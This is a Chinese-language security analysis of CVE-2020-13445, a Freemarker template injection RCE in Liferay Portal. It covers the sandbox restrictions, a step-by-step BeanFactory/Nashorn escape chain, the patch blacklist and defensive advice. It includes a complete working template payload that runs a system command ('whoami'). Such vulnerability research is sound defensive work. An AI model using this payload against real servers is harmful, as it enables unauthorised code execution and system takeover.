Liferay+Portal+模板注入RCE分析
字数 2009 2025-08-10 08:28:55
Liferay Portal 模板注入RCE分析与利用
0x01 漏洞概述
Liferay Portal中存在一个Freemarker模板注入漏洞(CVE-2020-13445),允许具有编辑模板权限的用户通过精心构造的模板实现远程代码执行。该漏洞的核心在于绕过了Liferay Portal自定义的安全保护机制,通过Freemarker模板实例化任意对象完成沙箱逃逸。
0x02 安全机制分析
2.1 对象包装器限制
Liferay Portal实现了自定义的RestrictedLiferayObjectWrapper,在访问对象时会触发wrap方法进行黑、白名单校验:
class com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper
构造方法参数:
String[] allowedClassNames- 允许的类名列表String[] restrictedClassNames- 受限的类名列表String[] restrictedMethodNames- 受限的方法名列表
2.2 受限类列表
以下类被明确限制:
com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist
java.lang.Class
java.lang.ClassLoader
java.lang.Compiler
java.lang.Package
java.lang.Process
java.lang.Runtime
java.lang.RuntimePermission
java.lang.SecurityManager
java.lang.System
java.lang.Thread
java.lang.ThreadGroup
java.lang.ThreadLocal
2.3 受限变量
以下变量被限制使用:
httpUtilUnsafe
objectUtil
serviceLocator
staticFieldGetter
staticUtil
utilLocator
2.4 类解析器限制
com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver实现了Freemarker的TemplateClassResolver接口,在加载class时会调用resolve方法进行校验:
Execute、ObjectConstructor类无法被加载- 非白名单中的类无法被加载
0x03 漏洞利用链分析
尽管存在上述限制,攻击者可以通过模板上下文中暴露的对象方法进行链式调用,绕过安全机制实现任意对象实例化。
3.1 关键利用步骤
-
获取ServletContext:
- 通过内置对象
${renderRequest}(类型为com.liferay.portlet.internal.RenderRequestImpl) - 调用
getPortletContext()获取PortletContext对象 - 调用
getServletContext()获取ServletContext(由ASM生成)
- 通过内置对象
-
获取原生ServletContext:
- 通过ASM生成的
ServletContext调用getContext("/")获取容器原生的ServletContext
- 通过ASM生成的
-
获取Spring ApplicationContext:
- 通过原生
ServletContext调用getAttribute("org.springframework.web.context.WebApplicationContext.ROOT") - 获取
PortalApplicationContext(继承自Spring的XmlWebApplicationContext)
- 通过原生
-
操作BeanFactory:
- 通过
PortalApplicationContext调用getBeanFactory()获取LiferayBeanFactory - 通过
LiferayBeanFactory调用getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")获取BeanDefinition
- 通过
-
篡改BeanDefinition:
- 调用
setScope("prototype")修改scope为非单例 - 调用
setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")修改BeanClass为Nashorn脚本引擎工厂
- 调用
-
重新注册BeanDefinition:
- 通过
LiferayBeanFactory调用registerBeanDefinition重新注册篡改后的BeanDefinition
- 通过
-
获取并执行脚本引擎:
- 通过
LiferayBeanFactory调用getBean创建Nashorn脚本引擎工厂对象 - 调用
getScriptEngine()获取Nashorn脚本引擎 - 调用
eval执行恶意脚本
- 通过
3.2 完整Payload示例
<#assign sp=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")>
<#assign ec=sp.setScope("prototype")>
<#assign eb=sp.setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")>
<#assign xx=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().registerBeanDefinition("sp",sp)>
<#assign res=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBean("sp").getScriptEngine().eval("var a = new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','whoami']);var b=a.start().getInputStream();var c=Java.type('com.liferay.portal.kernel.util.StreamUtil');var d=new java.io.ByteArrayOutputStream();c.transfer(b,d,1024,false);var e=new java.lang.String(d.toByteArray());e")>
${res}
0x04 补丁分析
在Liferay Portal 7.3.2-GA3版本中增加了以下黑名单,特别是增加了com.liferay.portal.spring.context.*导致无法访问Spring ApplicationContext:
com.ibm.*
com.liferay.portal.spring.context.*
io.undertow.*
org.apache.*
org.glassfish.*
org.jboss.*
org.springframework.*
org.wildfly.*
weblogic.*
0x05 防御建议
- 及时升级到Liferay Portal 7.3.2-GA3或更高版本
- 严格控制模板编辑权限
- 监控和审计模板修改操作
- 实施最小权限原则,避免不必要的权限分配